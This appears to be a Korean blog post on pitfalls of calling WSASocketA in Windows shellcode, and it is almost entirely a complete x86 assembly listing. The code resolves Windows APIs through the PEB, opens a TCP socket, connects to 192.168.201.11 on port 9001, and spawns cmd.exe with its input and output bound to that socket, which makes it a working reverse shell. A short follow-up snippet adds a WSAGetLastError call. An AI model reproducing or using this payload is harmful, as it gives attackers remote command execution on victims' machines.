Windows Shellcode 작성시에 WSASocketA 함수 사용 시 주의사항

1
global _start
2

3
section .text
4

5
_start:
6
SUB esp, 0x2 ; stack alignment for WSASocketA
7

8
; Locate Kernelbase.dll address
9
XOR ECX, ECX            ;zero out ECX
10
MOV EAX, FS:[ecx + 0x30]        ;EAX = PEB
11
MOV EAX, [EAX + 0x0c]          ;EAX = PEB->Ldr
12
MOV ESI, [EAX + 0x14]          ;ESI = PEB->Ldr.InMemoryOrderModuleList
13
LODSD              ;memory address of the second list entry structure
14
XCHG EAX, ESI            ;EAX = ESI , ESI = EAX
15
LODSD              ;memory address of the third list entry structure
16
XCHG EAX, ESI            ;EAX = ESI , ESI = EAX
17
LODSD              ;memory address of the fourth list entry structure
18
MOV EBX, [EAX + 0x10]          ;EBX = Base address
19

20
; Export Table
21
MOV EDX, DWORD  [EBX + 0x3C]      ;EDX = DOS->e_lfanew
22
ADD EDX, EBX          ;EDX = PE Header
23
MOV EDX, DWORD  [EDX + 0x78]      ;EDX = Offset export table
24
ADD EDX, EBX          ;EDX = Export table
25
MOV ESI, DWORD  [EDX + 0x20]      ;ESI = Offset names table
26
ADD ESI, EBX          ;ESI = Names table
27
XOR ECX, ECX          ;EXC = 0
28

29
GetFunction :
30

31
INC ECX; increment counter
32
LODSD            ;Get name offset
33
ADD EAX, EBX          ;Get function name
34
CMP dword [EAX], 0x50746547      ;"PteG"
35
JNZ SHORT GetFunction        ;jump to GetFunction label if not "GetP"
36
CMP dword [EAX + 0x4], 0x41636F72    ;"rocA"
37
JNZ SHORT GetFunction        ;jump to GetFunction label if not "rocA"
38
CMP dword [EAX + 0x8], 0x65726464    ;"ddre"
39
JNZ SHORT GetFunction        ;jump to GetFunction label if not "ddre"
40

41
MOV ESI, DWORD [EDX + 0x24]          ;ESI = Offset ordinals
42
ADD ESI, EBX          ;ESI = Ordinals table
43
MOV CX,  WORD [ESI + ECX * 2]      ;CX = Number of function
44
DEC ECX            ;Decrement the ordinal
45
MOV ESI, DWORD [EDX + 0x1C]          ;ESI = Offset address table
46
ADD ESI, EBX          ;ESI = Address table
47
MOV EDX, DWORD [ESI + ECX * 4]      ;EDX = Pointer(offset)
48
ADD EDX, EBX          ;EDX = GetProcAddress
49

50
; Get the Address of LoadLibraryA function
51
XOR ECX, ECX          ;ECX = 0
52
PUSH EBX          ;Kernel32 base address
53
PUSH EDX          ;GetProcAddress
54
PUSH ECX          ;0
55
PUSH 0x41797261          ;"Ayra"
56
PUSH 0x7262694C          ;"rbiL"
57
PUSH 0x64616F4C          ;"daoL"
58
PUSH ESP          ;"LoadLibrary"
59
PUSH EBX          ;Kernel32 base address
60
MOV  ESI, EBX          ;save the kernel32 address in esi for later
61
CALL EDX          ;GetProcAddress(LoadLibraryA)
62

63
ADD ESP, 0xC          ;pop "LoadLibraryA"
64
POP EDX            ;EDX = 0
65
PUSH EAX          ;EAX = LoadLibraryA
66
PUSH EDX          ;ECX = 0
67
MOV DX, 0x6C6C          ;"ll"
68
PUSH EDX
69
PUSH 0x642E3233          ;"d.23"
70
PUSH 0x5F327377          ;"_2sw"
71
PUSH ESP          ;"ws2_32.dll"
72
CALL EAX          ;LoadLibrary("ws2_32.dll")
73

74
ADD  ESP, 0x10          ;Clean stack
75
MOV  EDX, [ESP + 0x4]        ;EDX = GetProcAddress
76
PUSH 0x61617075          ;"aapu"
77
SUB  word [ESP + 0x2], 0x6161       ;"pu" (remove "aa")
78
PUSH 0x74726174          ;"trat"
79
PUSH 0x53415357          ;"SASW"
80
PUSH ESP          ;"WSAStartup"
81
PUSH EAX          ;ws2_32.dll address
82
MOV   EDI, EAX        ;save ws2_32.dll to use it later
83
CALL EDX          ;GetProcAddress(WSAStartup)
84

85
; Call WSAStartUp
86
XOR  EBX, EBX          ;zero out ebx register
87
MOV  BX, 0x0190          ;EAX = sizeof(struct WSAData)
88
SUB  ESP, EBX          ;allocate space for the WSAData structure
89
PUSH ESP          ;push a pointer to WSAData structure
90
PUSH EBX          ;Push EBX as wVersionRequested
91
CALL EAX          ;Call WSAStartUp
92

93
;Find the address of WSASocketA
94
ADD  ESP, 0x10          ;Align the stack
95
XOR  EBX, EBX          ;zero out the EBX register
96
ADD  BL, 0x4          ;add 0x4 at the lower register BL
97
IMUL EBX, 0x64          ;EBX = 0x190
98
MOV  EDX, [ESP + EBX]        ;EDX has the address of GetProcAddress
99
PUSH 0x61614174          ;"aaAt"
100
SUB  word [ESP + 0x2], 0x6161           ;"At" (remove "aa")
101
PUSH  0x656b636f        ;"ekco"
102
PUSH  0x53415357        ;"SASW"
103
PUSH ESP          ;"WSASocketA", GetProcAddress 2nd argument
104
MOV  EAX, EDI          ;EAX now holds the ws2_32.dll address
105
PUSH EAX          ;push the first argument of GetProcAddress
106
CALL EDX          ;call GetProcAddress
107
PUSH EDI          ;save the ws2_32.dll address to use it later
108

109
;call WSASocketA
110
XOR ECX, ECX          ;zero out ECX register
111
PUSH 0x0
112
PUSH 0x0
113
PUSH 0x0
114
MOV  EDX, 0x6          ;IPPROTO_TCP
115
;PUSH EDX          ;null value for dwFlags argument
116
;PUSH EDX          ;zero value since we dont have an existing socket group
117
;PUSH EDX          ;null value for lpProtocolInfo
118
;MOV  DL, 0x6          ;IPPROTO_TCP
119
PUSH EDX          ;set the protocol argument
120
INC  ECX          ;SOCK_STREAM(TCP)
121
PUSH ECX          ;set the type argument
122
INC  ECX          ;AF_INET(IPv4)
123
PUSH ECX          ;set the ddress family specification argument
124
CALL EAX          ;call WSASocketA
125
XCHG EAX, ECX          ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
126

127
;Find the address of connect
128
POP  EDI                             ;load previously saved ws2_32.dll address to ECX
129
ADD  ESP, 0x10                       ;Align stack
130
XOR  EBX, EBX                        ;zero out EBX
131
ADD  BL, 0x4                         ;add 0x4 to lower register BL
132
IMUL EBX, 0x63                       ;EBX = 0x18c
133
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
134
PUSH 0x61746365                      ;"atce"
135
SUB  word [ESP + 0x3], 0x61       ;"tce" (remove "a")
136
PUSH 0x6e6e6f63                      ;"nnoc"
137
PUSH ESP                             ;"connect", second argument of GetProcAddress
138
PUSH EDI                             ;ws32_2.dll address, first argument of GetProcAddress
139
XCHG ECX, EBP
140
CALL EDX                             ;call GetProcAddress
141

142
;call connect
143
PUSH 0x6a6ac92b                      ;sin_addr set to 192.168.201.11 2BC96A6A C0A8C90B
144
PUSH word 0xb80b         ;port = 9001
145
XOR  EBX, EBX                        ;zero out EBX
146
add  BL, 0x2                         ;TCP protocol
147
PUSH word BX           ;push the protocol value on the stack
148
MOV  EDX, ESP                        ;pointer to sockaddr structure (IP,Port,Protocol)
149
PUSH byte  16           ;the size of sockaddr - 3rd argument of connect
150
PUSH EDX                             ;push the sockaddr - 2nd argument of connect
151
PUSH EBP                             ;socket descriptor = 64 - 1st argument of connect
152
XCHG EBP, EDI
153
CALL EAX                             ;execute connect;
154

155
;Find the address of CreateProcessA
156
ADD  ESP, 0x14                       ;Clean stack
157
XOR  EBX, EBX                        ;zero out EBX
158
ADD  BL, 0x4                         ;add 0x4 to lower register BL
159
IMUL EBX, 0x62                       ;EBX = 0x190
160
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
161
PUSH 0x61614173                      ;"aaAs"
162
SUB  dword [ESP + 0x2], 0x6161       ;"As"
163
PUSH 0x7365636f                      ;"seco"
164
PUSH 0x72506574                      ;"rPet"
165
PUSH 0x61657243                      ;"aerC"
166
PUSH ESP                             ;"CreateProcessA" - 2nd argument of GetProcAddress
167
MOV  EBP, ESI                        ;move the kernel32.dll to EBP
168
PUSH EBP                             ;kernel32.dll address - 1st argument of GetProcAddress
169
CALL EDX                             ;execute GetProcAddress
170
PUSH EAX                             ;address of CreateProcessA
171
LEA EBP, [EAX]                       ;EBP now points to the address of CreateProcessA
172

173
;call CreateProcessA
174
PUSH 0x61646d63                      ;"admc"
175
SUB  word [ESP + 0x3], 0x61       ;"dmc" ( remove a)
176
MOV  ECX, ESP                        ;ecx now points to "cmd" string
177
XOR  EDX, EDX                        ;zero out EDX
178
SUB  ESP, 16
179
MOV  EBX, esp                        ;pointer for ProcessInfo
180

181
;STARTUPINFOA struct
182
PUSH EDI                             ;hStdError  => saved socket
183
PUSH EDI                             ;hStdOutput => saved socket
184
PUSH EDI                             ;hStdInput  => saved socket
185
PUSH EDX                             ;lpReserved2 => NULL
186
PUSH EDX                             ;cbReserved2 => NULL
187
XOR  EAX, EAX                        ;zero out EAX register
188
INC  EAX                             ;EAX => 0x00000001
189
ROL  EAX, 8                          ;EAX => 0x00000100
190
PUSH EAX                             ;dwFlags => STARTF_USESTDHANDLES 0x00000100
191
PUSH EDX                             ;dwFillAttribute => NULL
192
PUSH EDX                             ;dwYCountChars => NULL
193
PUSH EDX                             ;dwXCountChars => NULL
194
PUSH EDX                             ;dwYSize => NULL
195
PUSH EDX                             ;dwXSize => NULL
196
PUSH EDX                             ;dwY => NULL
197
PUSH EDX                             ;dwX => NULL
198
PUSH EDX                             ;pTitle => NULL
199
PUSH EDX                             ;pDesktop => NULL
200
PUSH EDX                             ;pReserved => NULL
201
XOR  EAX, EAX                        ;zero out EAX
202
ADD  AL, 44                          ;cb => 0x44 (size of struct)
203
PUSH EAX                             ;eax points to STARTUPINFOA
204

205
;ProcessInfo struct
206
MOV  EAX, ESP                        ;pStartupInfo
207
PUSH EBX                             ;pProcessInfo
208
PUSH EAX                             ;pStartupInfo
209
PUSH EDX                             ;CurrentDirectory => NULL
210
PUSH EDX                             ;pEnvironment => NULL
211
PUSH EDX                             ;CreationFlags => 0
212
XOR  EAX, EAX                        ;zero out EAX register
213
INC  EAX                             ;EAX => 0x00000001
214
PUSH EAX                             ;InheritHandles => TRUE => 1
215
PUSH EDX                             ;pThreadAttributes => NULL
216
PUSH EDX                             ;pProcessAttributes => NULL
217
PUSH ECX                             ;pCommandLine => pointer to "cmd"
218
PUSH EDX                             ;ApplicationName => NULL
219
CALL EBP                             ;execute CreateProcessA

1
POP EDI ;load previously saved ws2_32.dll address to ECX
2
ADD ESP, 0x10 ;Align stack
3
XOR EBX, EBX ; Zero out the EBX register
4
ADD BL, 0x4 ; Add 0x4 to the lower register BL
5
IMUL EBX, 0x63 ; EBX = 0x194 (assuming WSAGetLastError's ordinal is the next one)
6
MOV EDX, [ESP + EBX] ; EDX has the address of GetProcAddress
7
PUSH 0x61726f72 ; "aror"
8
SUB word [ESP + 0x3], 0x61 ;"ror" (remove "a")
9
PUSH 0x72457473 ; "rEts"
10
PUSH 0x614c7465 ; "aLte"
11
PUSH 0x47415357 ; "GASW"
12
PUSH ESP ; "WSAGetLastError", GetProcAddress 2nd argument
13
MOV EAX, EDI ; EAX now holds the ws2_32.dll address
14
PUSH EAX ; Push the first argument of GetProcAddress
15
CALL EDX ; Call GetProcAddress
16
PUSH EDI ; Save the ws2_32.dll address to use it later
17

18
; Call WSAGetLastError
19
CALL EAX ; Call WSAGetLastError